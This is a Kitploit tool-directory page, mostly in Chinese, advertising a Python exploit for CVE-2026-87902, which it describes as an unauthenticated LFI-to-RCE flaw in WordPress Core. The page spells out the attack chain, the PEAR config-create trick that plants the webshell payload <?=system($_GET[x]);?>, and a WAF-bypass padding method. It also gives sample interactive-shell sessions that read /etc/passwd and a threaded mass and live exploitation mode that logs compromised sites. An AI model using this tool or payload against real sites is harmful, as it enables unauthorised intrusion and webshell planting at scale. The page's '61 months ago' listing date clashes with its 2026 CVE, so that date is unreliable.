Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/rwxrwxs/cve-2026-87902
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用信息收集后渗透利用WAF绕过Web安全渗透测试远程访问工具
GitHubrwxrwxs/cve-2026-87902
61个月前尚未审核

CVE-2026-87902

针对 CVE-2026-87902 的 Python 漏洞利用程序,该漏洞是 WordPress Core ≤7.1.1 中的一个未认证 LFI:可对 OPML 进行指纹识别、检测 webroot、滥用 PEAR gadget 投放 webshell,并验证 RCE。

查看仓库
分享
  ╔══════════════════════════════════════════════════════╗
  ║  ♡  CVE-2026-87902  ·  WordPress Core  ♡            ║
  ║     Unauthenticated LFI → RCE  ·  Affected <= 7.1.1 ║
  ║        === Majestic666 x Caterscam ===               ║
  ╚══════════════════════════════════════════════════════╝

WordPress Core ≤ 7.1.1 — 未授权 LFI → RCE

Python CVE License


概述

CVE-2026-87902 是 WordPress Core ≤ 7.1.1 中通过 locate_template() 触发的未授权本地文件包含漏洞。 查询字符串中的 pagename 参数未经净化即被传递给 locate_template(),从而允许路径遍历以包含服务器上已有的任意 PHP 文件——最关键的是 pearcmd.php,它通过 QUERY_STRING 接收参数,并可写入攻击者控制的文件。

攻击链

pagename path traversal
  └─ include ../../../../wp-links-opml.php          ← LFI confirmation (OPML)
  └─ include ../../../../usr/share/php/pearcmd.php  ← PEAR gadget
       └─ &+config-create+/<?=system($_GET[x]);?>+/dest.php
            └─ mr666_<hex>.php  ←  webshell in wp-content/
                 └─ ?x=id  →  uid=33(www-data) ...   ← RCE confirmed

功能特性

功能详情
OPML 自动指纹识别在 LFI 扫描前获取 wp-links-opml.php,提取结构化 XML/generator 签名,拒绝 OPML 内容之前出现 HTML 的误报
多源版本检测meta → rss → opml → readme → asset → login → install → wp-json
自动 webroot 检测3 种方法:PHP 错误路径泄露、wp-config.php ABSPATH、wp-load.php 路径
90+ 备用 webroot 模式cPanel、Plesk、Bitnami、Docker、DirectAdmin、Beget、LiteSpeed、Termux 等
PEAR 层级扫描FAST 层级(20 条路径)→ 若 FAST 未命中则 FULL 层级(70+ 条路径)
WAF 绕过50 KB POST 正文填充,将 pagename 推过 WAF 正文检查阈值
Shell 输出清理器去重 PEAR 重复 12 次的命令输出;提取干净的 uid= / uname 行
批量验证对每个投放的 shell 运行 id,在标记为成功前确认实时 RCE
实时模式跟踪文件并在追加行时利用新目标——文件无需在启动时存在
单目标模式具有完整 PTY 风格命令循环的交互式 shell

环境要求

  • Python 3.8+
  • 无外部依赖——仅使用标准库(urllib、ssl、re、json、threading)

使用方法

python3 majestic666.py

模式

[1] 单一 — 交互式 Shell

利用一个目标,获取一个 shell,并得到一个交互式命令提示符。

  ♡  [1]  Single   · interactive shell
  ◆  [2]  Mass     · batch file — one-shot or live tail
  ⚡  [3]  Live     · watch file, exploit new targets
  ✗  [4]  Exit     · see you next time ♡

  ♡  choice [1/2/3/4] : 1

  ♡  target url   : https://target.com

  ────────────────────────────────────────────────────

  ◆  scanning  https://target.com
  ◆  wp=7.0.3 (src=meta,opml)  php=PHP/8.1.12  server=nginx
  ◆  opml sigs: 3
  [*] lfi d=3  suf=templates  http=200  OPML=YES
  ♡  LFI confirmed — depth=3 suffix=templates
  [*] pear sweep tier1: 20 paths
  [+] gadget /usr/share/php/pearcmd.php depth=4 (tier=FAST)
  [*] webroot attempts: 186 (auto+defaults)
  [*] write /var/www/html/wp-content/mr666_a3f8c192.php -> http=200

  ★  shell uploaded
  ★  ▶  https://target.com/wp-content/mr666_a3f8c192.php

  ♡  execute :  curl 'https://target.com/wp-content/mr666_a3f8c192.php?x=id'

  ────────────────────────────────────────────────────
  ♡  shell> id
     ▶  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  ♡  shell> uname -a
     ▶  Linux srv01 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
  ♡  shell> cat /etc/passwd | head -3
     ▶  root:x:0:0:root:/root:/bin/bash
     ▶  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
     ▶  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  ♡  shell> exit
     ♡  bye ♡

自定义 shell:将 shell file 提示留空以使用内置的 <?=system($_GET[x]);?> webshell,或输入你自己的 .php 文件路径,通过 PEAR gadget 进行转发。


[2] Mass — 批量文件

并行利用一组目标。包含两个子模式:一次性执行和实时跟踪。

子模式 1:一次性执行

处理一次目标文件后退出。

  ♡  choice [1/2/3/4] : 2

  ♡  [1]  one-shot  · process file once
  ⚡  [2]  live      · tail file, exploit new targets

  ♡  scan mode [1/2] : 1

  ◆  targets file [targets.txt] : targets.txt
  ◆  threads      [1-50]        : 20

  ╾──────────────  BATCH SCAN  ──────────────╼

  ◆  targets  ▶  150
  ◆  threads  ▶  20
  ◆  output   ▶  rce.txt
  ◆  verify   ▶  id

  ──────────────────────────────────────────────────

[1]  https://vuln1.com       [Wordpress 7.0.3]  [ VULN ]  [ RCE OK ]   uid=33(www-data)...
[2]  https://shop.nope.io    [Not Wordpress or WAF]
[3]  https://patched.net     [Wordpress 7.1.2]  [ PATCHED ]
[4]  https://vuln2.org       [Wordpress 6.9.1]  [ VULN ]  [ RCE OK ]   uid=1000(deploy)...
[5]  https://dead.example    [ FAIL ] [ Failed ]
  ...

  ◆  [50/150]  ♡ vuln=2  ★ rce=2  ⚠ unverif=0  ⚠ bypass=0  ✗ skip=46

  ╾──────────────  RESULTS  ──────────────────╼

  ◆  scanned    ▶  150
  ♡  vuln       ▶  4
  ♡  lfi only   ▶  1
  ★  rce ok     ▶  3
  ⚠  unverified ▶  1
  ⚠  bypass     ▶  1
  ◆  patched    ▶  12
  ✗  skip       ▶  131
  ✗  dead       ▶  2

  ──────────────────────────────────────────────────
  ★  saved  ▶  rce.txt
  ⚠  bypass ▶  bypass-manual.txt

子模式 2:实时跟踪(位于 Mass 模式内)

与模式 [3] 相同,但通过 Mass 模式菜单访问。

  ♡  scan mode [1/2] : 2
  ◆  targets file [targets.txt] : feed.txt
  ◆  threads      [1-50]        : 10

  [LIVE] Watching feed.txt — Ctrl+C to stop

  Threads : 10
  Output  : rce.txt
  ──────────────────────────────────────────────────

  [LIVE] queued  https://new-target.com
[7]  https://new-target.com   [Wordpress 6.8.3]  [ VULN ]  [ RCE OK ]  uid=33(www-data)...

[3] Live — 监视文件

立即开始监视文件。新出现的行会在出现时被利用。 该文件在启动时无需存在 — 当与追加目标的扫描器配合使用时非常有用。

  ♡  choice [1/2/3/4] : 3

  ⚡  targets file [targets.txt] : /tmp/discovered.txt
  ⚡  threads      [1-50]        : 15

  [LIVE] Watching /tmp/discovered.txt — Ctrl+C to stop

  Threads : 15
  Output  : rce.txt
  ──────────────────────────────────────────────────

  [LIVE] queued  https://site1.example.com
  [LIVE] queued  https://site2.example.com
[1]  https://site1.example.com  [Wordpress 7.0.1]  [ VULN ]  [ RCE OK ]  uid=33(www-data)
[2]  https://site2.example.com  [Not Wordpress or WAF]
  ...

^C
  [LIVE] Stopped.

  ──────────────────────────────────────────────────
  ♡  Vuln       : 1
  ★  RCE OK     : 1
  ⚠  Unverified : 0
  ⚠  Bypass     : 0
  ✗  Skip       : 1
  ──────────────────────────────────────────────────

  ★  saved  ▶  rce.txt

输出文件

文件内容
rce.txt<url> | [RCE OK] <shell_url> | <id output>
bypass-manual.txt<url> | lfi-only — 已确认 LFI,但未找到 PEAR gadget

OPML 指纹 — 误报消除

旧版基于 OPML 的 LFI 检测会匹配任何包含 <?xml + outline 的响应 — 从而在以下情况触发误报:

  • 嵌入 XML 片段的 WAF 错误页面
  • 同一主机上的非 WordPress XML API
  • 包含结构化内容的 CDN 质询页面

当前工作方式:

  1. 在 LFI 扫描之前,build_opml_fingerprint() 直接获取 wp-links-opml.php 并提取结构签名 — XML 声明、<opml> 标签结构以及 generator 属性前缀。这些签名在所有运行相同代码版本的 WordPress 安装中完全一致。

  2. 在 LFI 扫描期间,opml_hit(body, signatures) 在遍历响应中匹配这些签名。关键在于,如果任何 HTML 标签(<!doctype html、<html、<head)出现在 OPML 匹配位置之前,则该命中会被判定为 WAF/CDN 拦截并拒绝。

  3. 回退方案:如果指纹获取失败(OPML 端点被阻止),则使用通用回退签名,并采用相同的 HTML 拒绝逻辑。

                          ┌─ wp-links-opml.php ──────────────────────────┐
                          │  <?xml version="1.0" ?>                       │
                          │  <opml version="1.0">                         │
                          │    <head><title>links for ...</title></head>  │
  build_opml_fingerprint  │    <body><outline ... /></body>               │
  extracts sigs ─────────►│  </opml>                                      │
                          └───────────────────────────────────────────────┘
                                          │
                          ┌──────────────▼───────────────────────────────┐
                          │  LFI response body                           │
                          │  • sig found at pos 0?   → HIT ✓            │
                          │  • HTML found at pos 0?  → REJECT ✗ (WAF)   │
                          │  • no sig found?         → MISS              │
                          └──────────────────────────────────────────────┘

支持的环境

Webroot 自动检测与回退路径覆盖:

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

暂无热门数据。

探索所有工具

浏览我们的工具集合

查看所有工具 →